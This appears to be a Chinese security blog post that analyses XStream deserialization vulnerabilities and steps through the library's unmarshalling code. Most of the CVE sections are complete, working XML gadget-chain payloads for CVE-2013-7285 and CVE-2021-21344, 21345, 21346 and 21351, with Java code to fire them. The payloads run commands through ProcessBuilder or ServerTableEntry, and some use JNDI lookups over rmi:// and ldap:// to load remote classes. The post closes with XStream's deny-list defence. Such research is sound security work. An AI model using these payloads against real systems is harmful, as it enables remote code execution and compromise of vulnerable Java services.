Xstream反序列化

简介

XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和xml文档相互转换)。

Xstream具有以下优点

  • 使用方便 - XStream的API提供了一个高层次外观,以简化常用的用例。
  • 无需创建映射 - XStream的API提供了默认的映射大部分对象序列化。
  • 性能 - XStream快速和低内存占用,适合于大对象图或系统。
  • 干净的XML - XStream创建一个干净和紧凑XML结果,这很容易阅读。
  • 不需要修改对象 - XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类。默认构造函数不是强制性的要求。
  • 完整对象图支持 - XStream允许保持在对象模型中遇到的重复引用,并支持循环引用。
  • 可自定义的转换策略 - 定制策略可以允许特定类型的定制被表示为XML的注册。
  • 安全框架 - XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题。
  • 错误消息 - 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题。
  • 另一种输出格式 - XStream支持其它的输出格式,如JSON。

漏洞条件

XStream 远程代码执行漏洞 CVE-2013-7285 XStream <= 1.4.6
XStream XXE CVE-2016-3674 XStream
<= 1.4.8
XStream 远程代码执行漏洞 CVE-2019-10173 XStream
< 1.4.10
XStream 远程代码执行漏洞 CVE-2020-26217 XStream
<= 1.4.13
XStream 远程代码执行漏洞 CVE-2021-21344 XStream
: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21345 XStream
: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21346 XStream
: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21347 XStream
<= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21350 XStream
: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21351 XStream
: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-29505 XStream
: <= 1.4.16

环境依赖

1
2
3
4
5
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.1</version>
</dependency>

EventHandler类

EventHandler类是实现了InvocationHandler的一个类,设计本意是为交互工具提供beans,建立从用户界面到应用程序逻辑的连接

EventHandler类定义的代码如下,其含有target和action属性,在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class EventHandler implements InvocationHandler {
private Object target;
private String action;
...

public Object invoke(final Object proxy, final Method method, final Object[] arguments) {
...
return invokeInternal(proxy, method, arguments);
...
}

private Object invokeInternal(Object proxy, Method method, Object[] arguments) {
...

Method targetMethod = Statement.getMethod(
target.getClass(), action, argTypes);
...
return MethodUtil.invoke(targetMethod, target, newArgs);
}
...
}

...
}

Converter转换器

XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。

转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。

转换器需要实现3个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;

具体参考:http://x-stream.github.io/converters.html

简单使用

先定义一个Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.ocean;

import java.io.IOException;
import java.io.Serializable;

public class Person implements Serializable {
public String name;
public int age;
public Company company;

public Person() {
}

public Person(String name, int age, Company company) {
this.name = name;
this.age = age;
this.company = company;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public Company getCompany() {
return company;
}

public void setCompany(Company company) {
this.company = company;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("Read People");
}

}

Company类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.ocean;

import java.io.IOException;
import java.io.Serializable;

public class Company implements Serializable {
private String companyName;
private String companyLocation;

public Company() {
}

public Company(String companyName, String companyLocation) {
this.companyName = companyName;
this.companyLocation = companyLocation;
}

public String getCompanyName() {
return companyName;
}

public void setCompanyName(String companyName) {
this.companyName = companyName;
}

public String getCompanyLocation() {
return companyLocation;
}

public void setCompanyLocation(String companyLocation) {
this.companyLocation = companyLocation;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("Company");
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.ocean;

import com.thoughtworks.xstream.XStream;

public class Xstream_stu {
public static void main(String[] args) {
XStream xStream = new XStream();
Person person = new Person("ocean", 19, new Company("zzzz", "shandong"));
String xml = xStream.toXML(person);
System.out.println(xml);
}
}

输出

1
2
3
4
5
6
7
8
<com.ocean.Person>
<name>ocean</name>
<age>19</age>
<company>
<companyName>zzzz</companyName>
<companyLocation>shandong</companyLocation>
</company>
</com.ocean.Person>

上面的输出是将java对象转换为xml格式,并且类是没有实现序列化接口的,下面看一下实现了序列化接口的类输出格式是什么样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<com.ocean.Person serialization="custom">
<com.ocean.Person>
<default>
<age>19</age>
<company serialization="custom">
<com.ocean.Company>
<default>
<companyLocation>shandong</companyLocation>
<companyName>zzzz</companyName>
</default>
</com.ocean.Company>
</company>
<name>ocean</name>
</default>
</com.ocean.Person>
</com.ocean.Person>

可以看出实现了序列化接口和不实现序列化接口在经过xstream转换之后的格式是不一样的

调试流程

这里我们调试一下看看xstream在反序列化时的执行流程,Xstream在反序列化时调用的方法是

fromXML

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.ocean;

import com.thoughtworks.xstream.XStream;

public class Xstream_stu {
public static void main(String[] args) {
XStream xStream = new XStream();
Person person = new Person("ocean", 19, new Company("zzzz", "shandong"));
String xml = xStream.toXML(person);
//System.out.println(xml);
Object o = xStream.fromXML(xml);
System.out.println(o);
}
}

下断点开始跟一下

这里会调用unmarshal方法跟进去看看

这里发现他会调用ReferenceByXPathMarshallingStrategy父类AbstractTreeMarshallingStrategy的unmarshal方法跟进去看看

往下走跟进TreeUnmarshaller类的start方法

先看看readClassType做了什么

通过节点名获取Mapper中对应的Class对象返回值type就是obj对应的Class对象。接着在来看看convertAnother方法干啥了

根据mapper获取type类对象的正确类型根据type找到对应的converter ,如何查找对应的converter?可以看到上面存在一个lookupConverterForType看看

先从缓存集合中查找Converter,如果缓存中没有,那么就在converter中寻找,然后遍历converters找到符合的Converter并把找到的放在缓存集合中。

继续走会走到convert方法中会继续调用父类的covert方法跟进

会调用unmarshal方法

这里构造Class类对象的instance实例,field没有赋值,都是默认值,然后对result的field赋值。

重点

这里会有一点不一样的是对于实现序列化接口的类和没有实现的用到的convert是不一样的这里可以看到没实现的convert是ReflectionConverter

再来看看实现了的是什么

可以看到用到的是SerializableConverter该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值,那如过是处理实现了Serializable接口并且重写了readObject方法的People类时会有什么不一样呢?

这里我们在Person类的readObject方法中打上断点

可以看到在反序列化的时候是会调用到Person类的反序列化方法的调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
readObject:45, Person (com.ocean)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
callReadObject:113, SerializationMethodInvoker (com.thoughtworks.xstream.converters.reflection)
doUnmarshal:412, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:230, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1035, XStream (com.thoughtworks.xstream)
unmarshal:1019, XStream (com.thoughtworks.xstream)
fromXML:895, XStream (com.thoughtworks.xstream)
fromXML:886, XStream (com.thoughtworks.xstream)
main:11, Xstream_stu (com.ocean)

所以此时就是要去找链子了。

CVE-2013-7285

sorted-set

测试环境

jdk8u65

xstream 1.4.x-1.4.6及1.4.10

1
2
3
4
5
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.6</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>-a</string>
<string>Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

tree-map

测试环境

jdk8u65

版本<=1.4.6或=1.4.10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<tree-map>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>-na</string>
<string>Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>


详细流程分析参考自:https://y4tacker.github.io/2022/02/10/year/2022/2/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%88%86%E6%9E%90

CVE-2021-21344

测试环境

jdk8u65

xstream 1.4.15

先来看一下Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://127.0.0.1:1099/w6zukm</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
</iMatchColumns>
<strMatchColumns>
<string>foo</string>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.ocean;

import com.thoughtworks.xstream.XStream;


import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class CVE_2021_21344 {
public static void main(String[] args) throws FileNotFoundException {
XStream xStream = new XStream();
xStream.fromXML(new FileInputStream("/Users/ocean/Cybersecurity/Java_project/Xstream_stu/src/main/resources/cve_2021_21344_payload.xml"));

}
}

会弹出计算器

这里看一下他的反序列流程,这里可以看到开头用的是PriorityQueue类了解过cc链的都知道它重写了readObject方法所以在反序列化时是会杯调用的我们就将断点下在那

跟进headpify方法

计入siftDown方法

继续进入siftDownUsingComparator方法

这里会调用compare方法,此时这里的comparator属性的值是

跟进看看他的compare方法

跟进compareIndices方法

跟进get方法

后面就是继续跟,各种复杂的调用反正是,看一下调用栈吧,详细的我也不太了解,反正是最后会走到jdbcRowSetImpl里调用lookup方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
connect:622, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:130, Bridge (com.sun.xml.internal.bind.api)
marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2970, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
callReadObject:113, SerializationMethodInvoker (com.thoughtworks.xstream.converters.reflection)
doUnmarshal:412, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:230, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1035, XStream (com.thoughtworks.xstream)
unmarshal:1019, XStream (com.thoughtworks.xstream)
fromXML:904, XStream (com.thoughtworks.xstream)
main:12, CVE_2021_21344 (com.ocean)

CVE-2021-21345

测试环境

jdk8u65

xstream 1.4.15

直接看payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>open -a Calculator</activationCmd>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

这里和21344的差别不是太大,唯一的不同点在于执行代码的位置不再使用JdbcRowSetImpl去远程加载恶意类来到本地执行恶意代码,而是使用com.sun.corba.se.impl.activation.ServerTableEntry类直接在本地执行恶意代码。直接看最关键不同的点是什么原因

可以看到该类的verify方法中调用了一个执行命令的方法并且这里的属性值我们可控所以可以rce

CVE-2021-21346

测试环境

jdk8u65

xstream 1.4.15

直接看payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package com.ocean;

import com.thoughtworks.xstream.XStream;


import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class CVE_2021 {
public static void main(String[] args) throws FileNotFoundException {
XStream xStream = new XStream();
String xml = "<sorted-set>\n" +
" <javax.naming.ldap.Rdn_-RdnEntry>\n" +
" <type>ysomap</type>\n" +
" <value class='javax.swing.MultiUIDefaults' serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <hashtable>\n" +
" <default>\n" +
" <loadFactor>0.75</loadFactor>\n" +
" <threshold>525</threshold>\n" +
" </default>\n" +
" <int>700</int>\n" +
" <int>0</int>\n" +
" </hashtable>\n" +
" <javax.swing.UIDefaults>\n" +
" <default>\n" +
" <defaultLocale>zh_CN</defaultLocale>\n" +
" <resourceCache/>\n" +
" </default>\n" +
" </javax.swing.UIDefaults>\n" +
" <javax.swing.MultiUIDefaults>\n" +
" <default>\n" +
" <tables>\n" +
" <javax.swing.UIDefaults serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <hashtable>\n" +
" <default>\n" +
" <loadFactor>0.75</loadFactor>\n" +
" <threshold>525</threshold>\n" +
" </default>\n" +
" <int>700</int>\n" +
" <int>1</int>\n" +
" <string>lazyValue</string>\n" +
" <sun.swing.SwingLazyValue>\n" +
" <className>javax.naming.InitialContext</className>\n" +
" <methodName>doLookup</methodName>\n" +
" <args>\n" +
" <string>ldap://10.37.129.2:1389/tl4srb</string>\n" +
" </args>\n" +
" </sun.swing.SwingLazyValue>\n" +
" </hashtable>\n" +
" <javax.swing.UIDefaults>\n" +
" <default>\n" +
" <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>\n" +
" <resourceCache/>\n" +
" </default>\n" +
" </javax.swing.UIDefaults>\n" +
" </javax.swing.UIDefaults>\n" +
" </tables>\n" +
" </default>\n" +
" </javax.swing.MultiUIDefaults>\n" +
" </value>\n" +
" </javax.naming.ldap.Rdn_-RdnEntry>\n" +
" <javax.naming.ldap.Rdn_-RdnEntry>\n" +
" <type>ysomap</type>\n" +
" <value class='com.sun.org.apache.xpath.internal.objects.XString'>\n" +
" <m__obj class='string'>test</m__obj>\n" +
" </value>\n" +
" </javax.naming.ldap.Rdn_-RdnEntry>\n" +
"</sorted-set>";
xStream.fromXML(xml);

}
}

注意:这条链需要Xstream依赖为1.4.15 有版本限制

1
2
3
4
5
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.15</version>
</dependency>

这条链的入口点变了不在是PriorityQueue而是MultiUIDefaults这个类我们同样的看看其调用过程

主要的关键点在SwingLazyValue类的create方法中


这个方法里调用了invoke方法后面可以利用ldap注入,调用栈列一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
doLookup:290, InitialContext (javax.naming)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
get:64, MultiUIDefaults (javax.swing)
toString:197, MultiUIDefaults (javax.swing)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
put:568, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:121, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:92, TreeSetConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1409, XStream (com.thoughtworks.xstream)
unmarshal:1388, XStream (com.thoughtworks.xstream)
fromXML:1273, XStream (com.thoughtworks.xstream)
fromXML:1264, XStream (com.thoughtworks.xstream)
main:71, CVE_2021 (com.ocean)

CVE_2021_21351

测试环境

jdk8u65

xstream 1.4.15

还是先展示payload再去分析原因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package com.ocean;

import com.thoughtworks.xstream.XStream;

public class CVE_2021_21351 {
public static void main(String[] args) {
XStream xStream = new XStream();
String xml = "<sorted-set>\n" +
" <javax.naming.ldap.Rdn_-RdnEntry>\n" +
" <type>ysomap</type>\n" +
" <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>\n" +
" <m__DTMXRTreeFrag>\n" +
" <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>\n" +
" <m__size>-10086</m__size>\n" +
" <m__mgrDefault>\n" +
" <__useServicesMechanism>false</__useServicesMechanism>\n" +
" <m__incremental>false</m__incremental>\n" +
" <m__source__location>false</m__source__location>\n" +
" <m__dtms>\n" +
" <null/>\n" +
" </m__dtms>\n" +
" <m__defaultHandler/>\n" +
" </m__mgrDefault>\n" +
" <m__shouldStripWS>false</m__shouldStripWS>\n" +
" <m__indexing>false</m__indexing>\n" +
" <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>\n" +
" <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>\n" +
" <javax.sql.rowset.BaseRowSet>\n" +
" <default>\n" +
" <concurrency>1008</concurrency>\n" +
" <escapeProcessing>true</escapeProcessing>\n" +
" <fetchDir>1000</fetchDir>\n" +
" <fetchSize>0</fetchSize>\n" +
" <isolation>2</isolation>\n" +
" <maxFieldSize>0</maxFieldSize>\n" +
" <maxRows>0</maxRows>\n" +
" <queryTimeout>0</queryTimeout>\n" +
" <readOnly>true</readOnly>\n" +
" <rowSetType>1004</rowSetType>\n" +
" <showDeleted>false</showDeleted>\n" +
" <dataSource>rmi://localhost:1099/tl4srb</dataSource>\n" +
" <listeners/>\n" +
" <params/>\n" +
" </default>\n" +
" </javax.sql.rowset.BaseRowSet>\n" +
" <com.sun.rowset.JdbcRowSetImpl>\n" +
" <default/>\n" +
" </com.sun.rowset.JdbcRowSetImpl>\n" +
" </fPullParserConfig>\n" +
" <fConfigSetInput>\n" +
" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
" <name>setAutoCommit</name>\n" +
" <parameter-types>\n" +
" <class>boolean</class>\n" +
" </parameter-types>\n" +
" </fConfigSetInput>\n" +
" <fConfigParse reference='../fConfigSetInput'/>\n" +
" <fParseInProgress>false</fParseInProgress>\n" +
" </m__incrementalSAXSource>\n" +
" <m__walker>\n" +
" <nextIsRaw>false</nextIsRaw>\n" +
" </m__walker>\n" +
" <m__endDocumentOccured>false</m__endDocumentOccured>\n" +
" <m__idAttributes/>\n" +
" <m__textPendingStart>-1</m__textPendingStart>\n" +
" <m__useSourceLocationProperty>false</m__useSourceLocationProperty>\n" +
" <m__pastFirstElement>false</m__pastFirstElement>\n" +
" </m__dtm>\n" +
" <m__dtmIdentity>1</m__dtmIdentity>\n" +
" </m__DTMXRTreeFrag>\n" +
" <m__dtmRoot>1</m__dtmRoot>\n" +
" <m__allowRelease>false</m__allowRelease>\n" +
" </value>\n" +
" </javax.naming.ldap.Rdn_-RdnEntry>\n" +
" <javax.naming.ldap.Rdn_-RdnEntry>\n" +
" <type>ysomap</type>\n" +
" <value class='com.sun.org.apache.xpath.internal.objects.XString'>\n" +
" <m__obj class='string'>test</m__obj>\n" +
" </value>\n" +
" </javax.naming.ldap.Rdn_-RdnEntry>\n" +
"</sorted-set>";
xStream.fromXML(xml);
}
}

防御

XStream为了防护这些漏洞,直接使用黑名单的方式对可利用链的相关类进行拦截,如1.4.15中XStream.class类中的setupSecurity函数

1
2
3
4
5
6
7
8
9
protected void setupSecurity() {
if (this.securityMapper != null) {
this.addPermission(AnyTypePermission.ANY);
this.denyTypes(new String[]{"java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString"});
this.denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, JAVAX_CRYPTO, JAXWS_FILE_STREAM});
this.allowTypeHierarchy(Exception.class);
this.securityInitialized = false;
}
}

具体参考:https://paper.seebug.org/1543/#5-cve-2021-21351

https://fynch3r.github.io/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%A2%B3%E7%90%86/

https://m0d9.me/2021/05/10/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AF%A6%E8%A7%A3%EF%BC%88%E4%BA%8C%EF%BC%89/